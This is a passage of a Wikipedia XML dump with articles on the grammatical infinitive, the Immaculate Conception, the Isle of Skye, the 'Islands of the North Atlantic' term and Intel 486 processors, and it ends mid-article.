The auxiliary verb ''do'' is not used with the infinitive - even though ''do'' is also a main verb and in that sense is often used in the infinitive. One does not say *''I asked to do not have to'', but rather, either ''I asked not to have to'' or ''I asked to not have to'' (but ''see'' [[split infinitive]]). Similarly, one cannot emphasize an infinitive using ''do''; one cannot say, &quot;I hear him do say it all the time.&quot;

Nonetheless, the auxiliary verbs ''have'' (used to form the [[perfect aspect]]) and ''be'' (used to form the [[passive voice]] and [[continuous aspect]]) both commonly appear in the infinitive: &quot;It's thought '''to have''' been a ceremonial site,&quot; or &quot;I want '''to be''' doing it already.&quot;

===Defective verbs===

The [[modal auxiliary verb]]s,  ''can'', ''may'', ''shall'', ''will'' and ''must'' are [[defective verb|defective]] in that they do not have infinitives; so, one cannot say, *''I want him to can do it'', but rather must say, ''I want him to be able to do it''. The circumlocutions ''to be able to'', ''to have to'' and ''to be going to'' are generally used in these cases.

== Germanic languages ==

The original Germanic suffix of the infinitive was ''-an'', with verbs derived from other words ending in ''-jan'' or ''-janan''. In [[German language|German]] it is ''-en'' (&quot;sagen&quot;), with ''-eln'' or ''-ern'' endings on a few words based on -l or -r roots (&quot;segeln&quot;, &quot;ändern&quot;); the use of ''zu'' with infinitives is less frequent than ''to'' in English. They can function as nouns, often expressing abstractions of the action, in which case they are of neuter gender: &quot;das Essen&quot; means the &quot;the eating&quot;, but also &quot;the food&quot;. In [[Dutch language|Dutch]] infinitives also end in ''-en'' (&quot;zeggen&quot; - to say), sometimes used with 'te' similar to English ''to'', e.g. &quot;Het is niet moeilijk te begrijpen&quot; -&gt; &quot;It is not difficult to understand&quot;. The few verbs with stems ending in -a have infinitives in -n (&quot;gaan&quot; - to go, &quot;slaan&quot; - to hit). In Scandinavian languages the ''n'' has dropped out and the infinitive suffix has been reduced to ''-e'' or ''-a''.

== Romance languages ==

Romance infinitives can be used in much the same way as the infinitive is used in English, and they can also sometimes function as masculine nouns. In [[Spanish language|Spanish]] and [[Portuguese language|Portuguese]], infinitives mostly end in ''-ar'', ''-er'', or ''-ir''. A similar phenomenon also exists in [[French language|French]]: infinitives of verbs have the suffixes ''-er'', ''-ir'', ''-re'' or ''-oir''. [[Italian language|Italian]] follows a similar pattern, with its infinitives ending in ''-are'', ''-ere'', ''-ire'' or ''-urre''.

Formation of the infinitive in Romance languages reflects that of their ancestor, [[Latin]], in which a significant majority of verbs had an infinitive ending with ''-re'' (with a varying vowel, called the ''thematical'', preceding it).

Portuguese (and its sister language, [[Galician language|Galician]]) is the only [[Indo-European languages|Indo-European language]] with a personal infinitive, which helps to make infinitive clauses very common. English finite sentences as ''so that you/she/we have/has/have...'' would be translated to ''para teres/ela ter/termos...'' (the [[Subject (grammar)|subject]] is dropped very often). Portuguese personal infinitive has only two proper tenses (present and perfect), but other tenses are replaced by [[periphrasis|periphrastic]] structures. For instance, ''although you sing/sang/will sing'' could be translated to ''apesar de cantares/teres cantado/ires cantar''.

== Slavic languages ==

The infinitive in [[Russian language|Russian]] usually ends in ''-t&amp;#39;'' (&amp;#1090;&amp;#1100;) preceded by a [[thematic vowel]]; some verbs have a stem ending in a consonant and change the ''t'' to ''ch'', such as *&amp;#1084;&amp;#1086;&amp;#1075;&amp;#1090;&amp;#1100; &amp;rarr; &amp;#1084;&amp;#1086;&amp;#1095;&amp;#1100; &quot;can&quot;. Some other [[Slavic languages]] have the infinitive typically ending in -&amp;#263;. However, Bulgarian and Macedonian have lost the infinitive. Serbo-Croatian officially retains it but the infinitive is dying out in Serbia.

== Hebrew language ==

[[Hebrew language|Hebrew]] has ''two'' infinitives, the infinitive absolute and the infinitive construct. The infinitive construct is used after prepositions and is inflected with pronominal endings to indicate its subject or object: ''bikht&amp;#333;bh hass&amp;#333;ph&amp;#275;r'' &quot;when the scribe wrote&quot;, ''ahare lekht&amp;#333;'' &quot;after his going&quot;. When the infinitive construct is preceded by &amp;#1500; (''l&amp;#601;-'', ''li-'', ''l&amp;#257;-'') &quot;to&quot;, it is identical in its meaning to the English ''to''-infinitive, and this is its most frequent use in Modern Hebrew. The infinitive absolute is used to add emphasis or certainty to the verb, as in &amp;#1502;&amp;#1493;&amp;#1514; &amp;#1497;&amp;#1502;&amp;#1493;&amp;#1514; ''m&amp;#333;th y&amp;#257;m&amp;#363;th'' (literally &quot;die he will die&quot;; figuratively, &quot;he shall indeed die&quot;). This construction is analogous to such English pleonasms as in &quot;he slept a sleep of peace.&quot; This usage is commonplace in the Bible, but in Modern Hebrew it is restricted to high-flown literary works.

Note, however, that the ''to''-infinitive of Hebrew is not the dictionary form; that is the third person singular past tense.

== Finnish language ==
To form the first infinitive, the strong form of the root (without [[consonant gradation]] or epenthetic 'e') is used, and these changes occur:
# the root is suffixed with ''-ta/-tä'' according to [[vowel harmony]]
# consonant elision takes place if applicable, e.g. ''juoks+ta'' &amp;rarr; ''juosta''
# assimilation of clusters violating sonority hierarchy if applicable, e.g. ''nuol+ta'' &amp;rarr; ''nuolla'', ''sur+ta'' &amp;rarr; ''surra''
# 't' weakens to 'd' after diphthongs, e.g. ''juo+ta'' &amp;rarr; ''juoda''
# 't' elides if intervocalic, e.g. ''kirjoitta+ta'' &amp;rarr; ''kirjoittaa''

As such, it is inconvenient for dictionary use, because the imperative would be closer to the root word. Nevertheless, dictionaries use the first infinitive.

There are four other infinitives, which create a noun-, or adverb-like word from the verb. For example, the third infinitive is ''-ma/-mä'', which creates an adjective-like word like &quot;written&quot; from &quot;write&quot;: ''kirjoita-'' becomes ''kirjoittama''.

==Translation to languages without an infinitive==

In languages without an infinitive, the infinitive is translated either as a ''that''-clause or as a [[verbal noun]]. For example, in Literary Arabic the phrase &quot;I want to write a book&quot; is translated as either ''ur&amp;#299;du an aktuba kit&amp;#257;ban'' (literally &quot;I want that I should write a book&quot;, with a verb in the [[subjunctive mood|subjunctive]]) or ''ur&amp;#299;du kit&amp;#257;bata kit&amp;#257;bin'' (literally &quot;I want the writing of a book&quot;, with the ''masdar'' or verbal noun), and in Demotic Arabic ''biddi aktob ikt&amp;#257;b'' (subordinate clause with verb in subjunctive). Similarly, the modern Greek for &quot;I want to write&quot;, as opposed to the ancient Greek &lt;span style=&quot;font-family: 'Palatino Linotype', Athena;&quot;&gt;&amp;#952;&amp;#8051;&amp;#955;&amp;#969; &amp;#947;&amp;#961;&amp;#945;&amp;#966;&amp;#949;&amp;#8150;&amp;#957;&lt;/span&gt; with the infinitive, is &amp;#952;&amp;#941;&amp;#955;&amp;#969; &amp;#957;&amp;#945; &amp;#947;&amp;#961;&amp;#940;&amp;#968;&amp;#969;, which is literally &quot;I want that I should write&quot;.

== See also ==
*[[Auxiliary verb]]
*[[Finite verb]]
*[[Gerund]]
*[[Split infinitive]]
*[[Verbal noun]]

[[Category:Parts of speech]]

[[cv:Инфинитив]]
[[da:Infinitiv]]
[[de:Infinitiv]]
[[eo:Infinitivo]]
[[fr:Infinitif]]
[[nl:Infinitief]]
[[ja:不定詞]]
[[no:Infinitiv]]
[[nn:Infinitiv]]
[[pl:Bezokolicznik]]
[[ru:Инфинитив]]
[[fi:Infinitiivi]]
[[sv:Infinitiv]]
[[zh:动词不定式]]</text>
    </revision>
  </page>
  <page>
    <title>Intellectual Property law</title>
    <id>15255</id>
    <revision>
      <id>15912738</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Intellectual property]]
</text>
    </revision>
  </page>
  <page>
    <title>Immaculate Conception</title>
    <id>15256</id>
    <revision>
      <id>41918512</id>
      <timestamp>2006-03-02T16:44:15Z</timestamp>
      <contributor>
        <ip>163.1.107.243</ip>
      </contributor>
      <comment>/* Parallelisms in other religions */</comment>
      <text xml:space="preserve">[[Image:Bartolomé Esteban Perez Murillo 021.jpg|thumb|300px||Mary Immaculate]]
:''This article refers to the dogma of the immaculate conception of Mary, Mother of Jesus. For the doctrine of the virginal conception of Jesus Christ, see [[Virgin Birth (Christian doctrine)]].''

The '''Immaculate Conception''' is a [[Catholic Church|Catholic]] [[dogma]] that asserts that [[Mary, the mother of Jesus]], was preserved by [[God]] from the stain of [[original sin]] at the time of her own conception. Specifically, the dogma says she was not afflicted by the lack of [[sanctifying grace]] that afflicts mankind, but was instead filled with grace by God, and furthermore lived a life completely free from [[sin]]. It is commonly confused with the doctrine of the [[Virgin Birth (Christian doctrine)|virgin birth]], though the two deal with separate subjects. Mary was conceived by normal biological means, but her soul was acted upon by God (kept &quot;immaculate&quot;) at the time of her conception.  

The Immaculate Conception was solemnly [[dogmatic definition|defined as a dogma]] by [[Pope Pius IX]] in his constitution ''Ineffabilis Deus'', published [[December 8]], [[1854]] (the [[Feast of the Immaculate Conception]]).  

The Feast of the Immaculate Conception of Mary had been established in [[1483]] by Pope [[Sixtus IV]] who stopped short of defining the doctrine as a dogma of the Catholic Faith, thus giving Catholics freedom to believe in this or not; this freedom had been reiterated by the [[Council of Trent]]. The existence of the feast was a strong indication of the Church´s belief in the Immaculate Conception, even before its 19th century definition as a dogma.

The Catholic Church believes the dogma is supported by scripture (e.g. her being greeted by Angel Gabriel as &quot;full of Grace&quot;), and by the writings of many of the [[Church Fathers]], either directly or indirectly, and often calls Mary the [[Blessed Virgin Mary|Blessed Virgin]] ([[Gospel of Luke|Luke]] [http://drbo.org/cgi-bin/d?b=drb&amp;bk=49&amp;ch=001&amp;l=48 1:48]).  Catholic theology maintains that since Jesus became [[incarnation|incarnate]] of the Virgin Mary, she needed to be completely free of sin to bear the Son of God, and that Mary is &quot;redeemed 'by the grace of [[Christ]]' but in a more perfect manner than other human beings&quot; (Ott, ''Fund.'', Bk 3, Pt. 3, Ch. 2, §3.1.e).

In the Catholic Church, the Feast of the Immaculate Conception on [[8 December]] is generally a [[Holy Day of Obligation]], and a public holiday in countries where Catholicism is predominant.  Prior to the spread of this doctrine, December 8 was celebrated as the Conception of Mary, since September 8 is the Feast of the Nativity of Mary.

==History of the doctrine==

Aside from the acceptability of the doctrine of the Immaculate Conception, and its necessity or lack thereof, there is the history of its development within the Catholic Church.  The Conception of Mary was celebrated in [[England]] from the ninth century. [[Eadmer]] was influential in its spread. The [[Normans]] suppressed the celebration, but it lived on in the popular mind. It was rejected by St. [[Bernard of Clairvaux]], [[Alexander of Hales]], and St. [[Bonaventure]] (who, teaching at [[Paris, France|Paris]], called it &quot;this foreign doctrine&quot;, indicating its association with England).  St [[Thomas Aquinas]] expressed questions about the subject, but said that he would accept the determination of the Church.  These famous churchmen had problems with the doctrine due to their understanding of human conception.  They did not believe that the soul was placed in the body at the moment of implantation in the womb.  Aquinas and Bonaventure, for example, believed that Mary was completely free from sin, but that she was not given this grace at the instant of her conception.

The [[Oxford University|Oxford]] [[Franciscan]]s [[William of Ware]] and especially [[Beatification|Blessed]] [[John Duns Scotus]] defended the doctrine, despite the opposition of most scholarly opinion at the time. Scotus proposed a solution to the theological problems involved with reconciling the doctrine with that of universal redemption in Christ, by arguing that Mary's immaculate conception did not remove her from redemption by Christ, but rather was the result of a more perfect redemption given to her on account of her special role in history. Furthermore, Scotus said that Mary was redeemed ''in anticipation'' of Christ's death on the cross.  This was similar to the way that the Church explained the Last Supper (since Catholic theology teaches that the Mass is the sacrifice of Calvary made present on the altar, and Christ did not die before the Last Supper).  Scotus' defense of the immaculist thesis was summed up by one of his followers as ''potuit, decuit ergo fecit'' (God could do it, it was fitting that he did it, and so he did it). Following his defense of the thesis, students at Paris swore to defend the thesis, and the tradition grew of swearing to defend the doctrine with one's blood.

Popular opinion was firmly behind accepting this privilege for Mary, but such was the sensitivity of the issue and the authority of Aquinas, that it was not until 1854 that Pius IX, with the support of the overwhelming majority of Catholic [[Bishop]]s, pronounced the doctrine [[Papal infallibility|infallible]].

== Protestant and Eastern Orthodox opinion ==

The doctrine is generally not shared by either [[Eastern Orthodoxy]] or by [[Protestantism]].

Protestants generally reject the doctrine, because they do not consider the development of [[dogma]]tic [[theology]] to be authoritative apart from [[Biblical]] [[exegesis]], and the doctrine of the Immaculate Conception is not explicit in the [[Bible]]. It is accepted by some [[Anglo-Catholicism|Anglo-Catholics]], but is rejected by most in the [[Anglican Communion]]. In the [[Book of Common Prayer]], December 8 is a &quot;lesser commemoration&quot;, whose observance is optional. However, members of the [[Society of Mary (Anglican)|Society of Mary]] are required to attend mass that day.

Orthodox Christians do believe that Mary was without sin for her entire life, but they do not share the Catholic Church's views on original sin.  They note that [[Augustine of Hippo|St. Augustine]] (d. [[430]]), whose works were not well known in Eastern Christianity until after the [[17th century]], has exerted considerable influence over the theology of sin that has generally taken root through the [[Holy See]], and since Eastern Orthodoxy does not share Rome's (or most Protestants') view of original sin, it considers unnecessary the doctrine that Mary would require purification prior to the Incarnation. Instead, Eastern Orthodox theologians suggest that the references among the Greek and Syrian Fathers to Mary's purity and sinlessness may refer not to an ''[[a priori]]'' state, but to her conduct after birth. Although this is not a [[dogma]] in the Orthodox Church, there is the universal belief that there was a pre-sanctification of Mary at the time of her conception, similar to the conception of Saint [[John the Baptist]]. However, there was no cleansing of original sin, since Orthodox Christians believe that that one cannot inherit original sin, or any sin for that matter; instead, 'original sin' in Orthodoxy refers to the general tendency towards sin and pain in the world, caused by the fall of Adam.

== Scriptural sources ==

In his Apostolic Constitution ''[http://www.ewtn.com/library/PAPALDOC/P9INEFF.HTM Ineffabilis Deus]'' (December 8, 1854), which officially defined the Immaculate Conception as dogma for the Catholic Church, [[Pope Pius IX]] primarily appealed to the text of [[Genesis|Genesis]] [http://www.vatican.va/archive/ENG0839/__P5.HTM 3:15], where the serpent was told by God, &quot;I will put enmity between you and the woman, between your seed and her seed.&quot; According to the Catholic understanding, this was a prophecy that foretold of a &quot;woman&quot; who would always be at enmity with the serpent — that is, a woman who would never be under the power of sin, nor in bondage to the serpent.

Some Catholic theologians have also found Scriptural evidence for the Immaculate Conception in the angel Gabriel's greeting to Mary at the Annunciation, recorded by Saint Luke in [[Gospel of Luke|Luke]] [http://www.vatican.va/archive/ENG0839/__PWK.HTM 1:28].  The English translation, &quot;Hail, Full of Grace,&quot; or &quot;Hail, Favored One,&quot; is based on the Greek of [[Gospel of Luke|Luke]] [http://www.vatican.va/archive/ENG0839/__PWK.HTM 1:28], &amp;#935;&amp;#945;&amp;#953;&amp;#961;&amp;#949; &amp;#954;&amp;#949;&amp;#967;&amp;#945;&amp;#961;&amp;#953;&amp;#964;&amp;#969;&amp;#956;&amp;#949;&amp;#957;&amp;#951; ''Chaire kecharitomene''. The latter word has the verb &quot;to grace&quot; as its root, and the Greek syntax indicates that the action of the verb was passive, fully completed in the past, with results continuing into the future. Put another way, it means that the subject (Mary) was graced fully and completely at some time in the past, and continued in that fully graced state.

The [[Church Fathers]], almost from the beginning of Church History, found further Scriptural evidence by comparing the figure of Eve to the figure of Mary. St. [[Justin Martyr]] said that Mary was a kind of New Eve, &quot;in order that the disobedience which proceeded from the serpent might receive its destruction in the same manner in which it derived its origin.&quot; (''Dialogue with Trypho'', 100) Tertullian argued in the same manner, saying, &quot;As Eve had believed the serpent, so Mary believed the angel. The delinquency which the one occasioned by believing, the other by believing effaced.&quot; (''On the Flesh of Christ'', 17)  St. Irenaeus declared that Mary became &quot;the cause of salvation, both to herself and the whole human race,&quot; because &quot;what the virgin Eve had bound fast through unbelief, this did the virgin Mary set free through faith.&quot; (''Against Heresies'', Book III, cap. 22, 4) St. Jerome coined the phrase, &quot;Death came through Eve, but life has come through Mary.&quot; (''Letter XXII, To Eustochium'', 21)

== Parallelisms in other religions ==

In [[Islam]], the prophet [[Muhammed]] is considered the sinless bearer of the kalam of Allah (speech of God), just as in definitive Catholic formulation, Mary is the sinless bearer of Christ, the Word of God.

[[Anahita]] (or Nahid in Modern Persian), the mother of [[Mitra]], whose name means &quot;unstained&quot; or &quot;immaculate&quot;, was an ancient Persian deity. Her cult was strongest in Western Iran, and had parallels with that of the Semitic Near Eastern &quot;Queen of Heaven&quot;, deification of the planet Venus. The largest temple with a Mithraic connection is the Seleucid temple at Kangavar in western Iran (c. 200 BC), dedicated to &quot;Anahita, the Immaculate Virgin Mother of the Lord Mithras&quot;.

[[Isis]] was also sometimes described as immaculate. &quot;Immaculate is our Lady Isis,&quot; is the legend around an engraving of Serapis and Isis, described by C W King, in ''The Gnostics and their Remains''.

== Common misinterpretation ==

There is a widespread misunderstanding of the term ''immaculate conception''. Many people, even many Catholics, believe this refers to the conception of Jesus by Mary. Nearly every time this term is used in the mass media, it is in reference to the conception of Jesus by Mary. The conception of Jesus by Mary is more properly called the [[incarnation]] of Christ. The phrase &quot;Immaculate Conception,&quot; by Catholic interpretation, is not directly connected to the concept of the &quot;Virgin Birth.&quot; The Catholic Church celebrates the Immaculate Conception on [[8 December]], exactly nine months before the official birthday of Mary. The [[Annunciation|Incarnation of Christ]] is celebrated on [[25 March]], nine months before [[Christmas Day]].

==See also==
*[[Feast of the Immaculate Conception]]
*[[Cathedral of the Immaculate Conception]]
*[[Perpetual virginity of Mary]]
*[[Original sin]]

== References ==
* [http://www.newadvent.org/library/docs_pi09id.htm ''Ineffabilis Deus'' (Apostolic Constitution of Pope Pius IX defining the dogma of the Immaculate Conception)]
* [http://www.newadvent.org/cathen/07674d.htm Catholic Encyclopedia entry on the Immaculate Conception]
* [http://www.newadvent.org/cathen/11312a.htm Catholic Encyclopedia entry on Original Sin]
==Opinion==
* [http://www.oca.org/QA.asp?ID=4&amp;SID=3 &quot;St. Augustine and Original Sin&quot;] — a short article on the different understandings of Original Sin in Eastern and Western Christianity.
* [http://www.rosicrucian.com/zineen/magen214.htm Rosicrucians: The Immaculate Conception] (esoteric Christian view)

[[Category:Blessed Virgin Mary]]
[[Category:Catholic theology and doctrine]]
[[Category:Liturgical Calendar]]

[[cs:Dogma o neposkvrněném početí Panny Marie]]
[[da:Jomfru Marias ubesmittede undfangelse]]
[[de:Unbefleckte Empfängnis]]
[[es:Inmaculada Concepción]]
[[eo:Senmakula koncipiĝo]]
[[fr:Immaculée conception]]
[[it:Immacolata concezione]]
[[la:Immaculata Conceptio]]
[[li:Ónbevlekde óntvangenis]]
[[hu:Szeplőtelen fogantatás]]
[[nl:Onbevlekte Ontvangenis]]
[[ja:無原罪の御宿り]]
[[ru:Непорочное зачатие]]
[[sv:Immaculata conceptio]]</text>
    </revision>
  </page>
  <page>
    <title>Scilly Isles</title>
    <id>15257</id>
    <revision>
      <id>31839806</id>
      <timestamp>2005-12-18T11:58:36Z</timestamp>
      <contributor>
        <username>Saga City</username>
        <id>138511</id>
      </contributor>
      <minor />
      <comment>revamped in line with new guidance</comment>
      <text xml:space="preserve">This phrase may refer to:
*the [[Isles of Scilly]], an archipelago off the west of Cornwall, Great Britain, or
*[[The Scilly Isles, Surrey|The Scilly Isles]], an area of Surrey, England.
{{geodis}}</text>
    </revision>
  </page>
  <page>
    <title>Isle of Skye</title>
    <id>15259</id>
    <revision>
      <id>39605090</id>
      <timestamp>2006-02-14T16:39:17Z</timestamp>
      <contributor>
        <username>Grinner</username>
        <id>62080</id>
      </contributor>
      <minor />
      <comment>Broadford, Isle of Skye|Broadford</comment>
      <text xml:space="preserve">[[Image:OM Storr 2004.jpg|right|thumb|300px|The Old Man of Storr, Skye]]



The '''Isle of Skye''', usually known simply as '''Skye''' (''An t-Eilean Sgitheanach'' in [[Scottish Gaelic]]) is the largest and most northerly island in the [[Inner Hebrides]] of [[Scotland]]. [[Scots Gaelic]] &quot;sgiath&quot; means &quot;winged&quot;.

Its name came via [[Old Norse]] ''Skið'' = &quot;ski&quot; (and similar meanings), as an alteration of a [[Pictish]] original which is recorded in [[Ancient Rome|Roman]] sources as  ''Scitis'' ([[Ravenna Cosmography]]) and ''Scetis'' (on [[Ptolemy]]'s map). Some legends associate the isle with the mythic figure of [[Scáthach]].

==Geography==
[[Image:Skye landsat.jpeg|thumb|right|300 px|Landsat photo]]
At [[1 E9 m²|1700]] [[square kilometre|km²]] (656 [[square mile|mi²]]), Skye is the second largest island in [[Scotland]] after ''[[Lewis]] and [[Harris]]'' (which form a single island). The island has some of the most dramatic and challenging mountain terrain in Scotland, including the [[Cuillin]], as well as a rich heritage of ancient monuments, [[castle]]s, and [[memorial]]s.

The southwest side of Skye is a series of [[peninsula]]s, including [[Sleat]], [[Strathaird]], [[Minginish]] and [[Duirinish]], with [[Waternish]] and [[Trotternish]] to the northwest.  Surrounding islands include [[Raasay]], [[Scalpay, Inner Hebrides|Scalpay]] and [[Soay]].

==History==
Skye has sites showing occupation by [[Mesolithic]] hunter-gatherers, such as the site at ''An Corran'' in ''Staffin'' which appears to have been in contact with occupants of the rock shelter at [[Sand, Applecross]] on the coast of [[Ross and Cromarty|Wester Ross]].

Skye suffered [[famine]] and clearances over the latter part of the [[18th century]], leading to its badly depleted population of less than 10,000 at the [[1991]] [[Census]]. In [[2001]] the usually resident population was found to be 8,748.
[[Image:Skye Road Bridge.JPG|thumb|300px|[[Skye bridge]] Isle of Skye]]

The [[Skye Bridge]], linking Skye with the mainland of Scotland was built in the [[1990s]], with an unpopularly expensive toll. Some locals formed a protest group – SKAT (Skye and Kyle Against Tolls). They refused to pay the toll on the grounds that they had the right of free passage on any highway within the Kingdom of Scotland. On [[21 December]] [[2004]] it was announced that the [[Scottish Executive]] had purchased the [[toll bridge]] from its owners and that tolls were abolished.

==Culture==
[[Image:Scotland Skye Trotternish.jpg|thumb|300px|[[Black house|Restored Black house,]] Isle of Skye]]
Of all the Inner Hebrides, Skye has the most in common with the [[Outer Hebrides]], with nearly half the population speaking Gaelic, and many belonging to the [[Free Church of Scotland]], known for its strict observance of the [[Sabbath]].

The [[Talisker Single Malt|Talisker Distillery]], which produces a [[single malt whisky|single malt]] [[whisky]], is beside [[Loch Harport]] on the west coast of the island.

[[Dunvegan Castle]] has been the seat of [[Clan MacLeod]] since the [[1200s|thirteenth century]].

The Isle of Skye has been immortalised in the traditional song ''[[The Skye Boat Song]]'' and in the book ''[[To the Lighthouse]]'' by [[Virginia Woolf]].

==Transport==
Skye is linked to the mainland by the [[Skye Bridge]], while [[ferry|ferries]] sail from [[Armadale, Isle of Skye|Armadale]] on the island to [[Mallaig]], and from [[Kylerhea]] to [[Glenelg, Scotland|Glenelg]]. Ferries also run from [[Uig, Skye|Uig]] to [[Tarbert, Harris|Tarbert]] on [[Harris]] and [[Lochmaddy]] on [[North Uist]], and from [[Sconser]] to [[Raasay]].
Bus Services run to [[Inverness]] and [[Glasgow]], and there are infrequent local services on the island, mainly starting from [[Portree]] or [[Broadford, Isle of Skye|Broadford]]. Train services run from [[Kyle of Lochalsh]] at the mainland end of the [[Skye Bridge]] to [[Inverness]].

Ferries to and from Armadale are sometimes synchronised with train arrivals and departures at Mallaig. If you are getting the 08.20 (Monday to Saturday only) or 12.40 train from Glasgow Queen Street to Mallaig, you can connect with the ferry to Armadale. However, on Sundays in July and August, you should call Caledonian MacBrayne in Mallaig (01687-462403) and ask them to delay the ferry for you, as the 12.40 from Glasgow arrives at 17.48, while the ferry's scheduled departure time is 17.45.

The 09.05 and 14.25 ferries from Armadale to Mallaig also connect with train departures, arriving in Glasgow Queen Street at 15.45 and 21.25, respectively.

==Towns and villages==
[[Image:Scotland Skye cliffs.jpg|thumb|300px|Cliffs near Point Neist]]
The main settlements on the island are connected by the [[A87 road]], [[Portree]], [[Sconser]] and [[Broadford]] lying on the northeast coast, and [[Uig, Skye|Uig]] on the northwest. &lt;!--Other p--&gt;Places on the island include:

*[[Armadale, Isle of Skye|Armadale]]
*[[Bernisdale]], [[Borreraig]], [[Broadford, Isle of Skye|Broadford]]
*[[Carbost]]
*[[Duntulm]]
*[[Dunvegan]], and nearby [[Dunvegan Castle]]
*[[Edinbane]], [[Elgol]]
*[[Fiskavaig]], [[Flodigarry]]
*[[Glenbrittle]], [[Glendale, Isle of Skye|Glendale]]
*[[Isleornsay]]
*[[Kilmaluag]], [[Kilmore, Isle of Skye|Kilmore]], [[Kilmuir]], [[Kyleakin]], [[Kylerhea]]
*[[Milovaig]]
*[[Portnalong]], [[Portree]]
*[[Sconser]], [[Skeabost]], [[Sligachan]], [[Staffin]], [[Stein, Isle of Skye|Stein]], [[Struan]]
*[[Talisker, Isle of Skye|Talisker]], [[Tarskavaig]], [[Teangue]], [[Torrin]]
*[[Uig, Skye|Uig]], [[Ullinish]]

==See also==
*[[:Category:Mountains and hills of Skye]]

==External links==
{{Commons|Category:Skye}}
*[http://www.skat.org.uk/ SKAT homepage]


{{Hebrides}}

[[Category:Isle of Skye|*]]

[[da:Skye]]
[[de:Skye]]
[[et:Skye]]
[[fr:Île de Skye]]
[[gd:An t-Eilean Sgitheanach]]
[[nl:Skye]]
[[pl:Skye]]
[[pt:Ilha de Skye]]</text>
    </revision>
  </page>
  <page>
    <title>Islands of the North Atlantic</title>
    <id>15260</id>
    <revision>
      <id>39695073</id>
      <timestamp>2006-02-15T05:07:17Z</timestamp>
      <contributor>
        <username>Snottygobble</username>
        <id>111359</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.254.146.68|203.254.146.68]] ([[User talk:203.254.146.68|talk]]) to last version by Calaschysm</comment>
      <text xml:space="preserve">:''For an explanation of often confusing terms like ([[Great Britain|Great]]) [[Britain]]'', ''[[United Kingdom]]'' and ''[[England]]'' see also [[British Isles (terminology)]].''

&quot;'''Islands of the North Atlantic'''&quot; ('''IONA''') was suggested by Sir [[John Biggs-Davison]] &lt;!--what year?--&gt; as a less contentious alternative to the term &quot;[[British Isles]]&quot; to refer to [[Britain and Ireland]] and the smaller associated islands. It has been used particularly in the context of the [[Northern Ireland|Northern Irish]] &quot;peace process&quot;, during the negotiation of the [[Belfast Agreement]], as a neutral description of those islands. However its use has been mainly limited to this context: [[as of 2004]] (January), the term ''Islands of the North Atlantic'' was not used in any official internet site of the [[British government|British]] or [[Irish government|Irish]] governments, apart from verbatim reports of [[Dáil Éireann|Irish parliamentary]] debates discussing whether it might be used.

The term has been adopted by the Councils of the [[World Universities Debating Championship]] and [[European Universities Debating Championship]] for the purposes of regional elections to the Councils.

One feature of this name is that the [[acronym]] IONA has the same spelling as the island of [[Iona]] which is off the coast of [[Scotland]] but with which Irish people have strong cultural associations. It is therefore a name with which people of both main islands might identify. On the other hand, it can be confusing (a) because of this duplication of the name of the existing Iona and (b) because [[Greenland]], [[Iceland]], and [[Newfoundland]] are also important and rather prominent islands of the North [[Atlantic Ocean|Atlantic]], which the term is not intended to include.

&quot;British Isles&quot; remains for now the most widely used term to describe the aforementioned territories, and vastly predates the present matters of controversy. Some, however, seeing in &quot;British&quot; an implication of possession, object, saying that while accurate in describing both the geography and the politics of the islands when Ireland remained part of the [[United Kingdom of Great Britain and Ireland]] (1801-1922), it has not changed to reflect [[History of the Republic of Ireland|political developments since 1922]]. 

It remains to be seen whether IONA, which has been used as part of the [[Northern Ireland peace process|Northern Ireland &quot;peace process&quot;]], will become a widely accepted replacement term for the British Isles, whether another term will evolve over time, or whether the ''status quo'' will prevail.

== References ==
[http://www.biipb.org/biipb/summary/sum/doc/8033001/8033012.htm] Denis Canavan MSP, British Irish Inter-Parliamentary Body, Summary of the 15th Plenary Session, 9.  The Future of the Body 

[http://www.imsgrp.com/greenparty/goodfrid.htm] [[Trevor Sargent]] TD, &quot;The Good Friday Agreement&quot;, [[Dáil Éireann]] speech

[http://www.parliament.the-stationery-office.co.uk/pa/cm199798/cmhansrd/vo980116/debtext/80116-14.htm] Mr. Peter Luff MP, [[British House of Commons]] speech

[http://www.iona.edu/academic/arts_sci/orgs/resiliency/barry.htm] Kevin Barry, &quot;Resiliency, Tolerance and Avoidance in Northern Ireland&quot;

[http://www.irlgov.ie/taoiseach/press/Archives/1999/15-10-99.htm] [[Taoiseach]] Mr [[Bertie Ahern]] TD, &quot;Ireland and Britain A New Relationship for a New Millennium&quot;

[http://www.ciaonet.org/isa/shp01/] Paul Sharp, &quot;When New Meets Old: Irish Diplomacy, Northern Ireland and the Peace Process&quot;

==External links==
*[http://cain.ulst.ac.uk/events/peace/docs/agreement.htm The Good Friday Agreement]
*[http://www.britishirishcouncil.org/ British-Irish Council]

[[Category:North Atlantic Islands]]

[[eo:Insularo de la Norda Atlantiko]]</text>
    </revision>
  </page>
  <page>
    <title>Intel 80486DX4</title>
    <id>15261</id>
    <revision>
      <id>33987741</id>
      <timestamp>2006-01-05T16:17:45Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>dab Megahertz</comment>
      <text xml:space="preserve">The [[Intel]] '''DX4''' is a clock-tripled [[80486]] [[microprocessor]] chip.  Intel named their chip deceptively during [[litigation]] with [[AMD]] over [[trademark]]s.  The product was officially named the DX4, but [[original equipment manufacturer|OEM]]s continued using the 486DX4 naming convention.

Intel produced DX4s with two [[clock speed]] steppings: A 75 [[Megahertz|MHz]] version (3x 25 MHz multiplier) and a 100 MHz version (usually 3x 33.3 MHz, but sometimes 2.5x 40 MHz or 2x 50 MHz). [[Intel 80486 OverDrive|OverDrive]] editions of the DX4 had locked multipliers, and therefore can run only at 3x the external clock-speed.

{{Intel_processors}}
[[de:Intel 80486DX4]]
[[Category:x86 microprocessors|Intel 4864]]</text>
    </revision>
  </page>
  <page>
    <title>Intel 80486DX</title>
    <id>15263</id>
    <revision>
      <id>38124092</id>
      <timestamp>2006-02-04T09:17:30Z</timestamp>
      <contributor>
        <username>Mjager</username>
        <id>109140</id>
      </contributor>
      <minor />
      <comment>linking</comment>
      <text xml:space="preserve">The '''Intel 80486DX''' is a [[microprocessor]] made by [[Intel]] [[x86]] family of processors. It is the successor to the [[Intel 80386]] processor line.  

[[Image:Intel 80486DX-33.jpg|thumb|An Intel 80486DX-33 microprocessor]]

Differences between the 80386 and 80486DX include:
